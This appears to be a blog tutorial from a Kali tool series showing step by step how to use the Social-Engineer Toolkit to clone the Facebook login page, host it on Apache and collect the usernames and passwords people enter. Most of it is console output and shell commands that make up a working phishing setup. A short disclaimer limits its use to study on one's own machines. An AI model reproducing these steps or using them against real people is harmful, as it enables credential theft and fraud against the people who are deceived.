Kali Tool Series - The Social-Engineer Toolkit

Preface

“Social Engineering” is a sub-field of network security. It’s much more un-related to the technical things, but frauding people around in order to hack into an unauthorized system.

The content here is only for studying purpose, one SHOULD NOT deploy in real world environment, which is illegal. While you practice, make sure you test on your own machines only and don’t fraud people.

Build a Fishing Website

The basic example, we are building a fake login website for people to put username and password.

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.

   1) Web Templates
   2) Site Cloner
   3) Custom Import

set:webattack>1
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this

Then, it will ask the IP of your Kali machine, which can be accessed by ifconfig command. Mine is 192.168.63.155 here.

set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.63.155

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo

set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.63.155
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://www.facebook.com/

[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] Apache is set to ON - everything will be placed in your web root directory of apache.
[*] Files will be written out to the root directory of apache.
[*] ALL files are within your Apache directory since you specified it to ON.
Apache webserver is set to ON. Copying over PHP file to the website.
Please note that all output from the harvester will be found under apache_dir/harvester_date.txt
Feel free to customize post.php in the /var/www directory
[*] All files have been copied to /var/www
{Press return to continue}

Now, you’re all set. By default, the files are generated at /var/www/. However, we have to put them into /var/www/html/, which is the default folder of apache.

> cd /var/www/
> mkdir html/facebook
> mv index.html html/facebook/
> mv post.php har*txt html/

Okay, then open the url (mine is http://192.168.63.155/facebook/) on any machine that can reach your Kali machine.

Finally, you will get the username and password in harvester_….txt file:

> cat /var/www/html/har*.txt
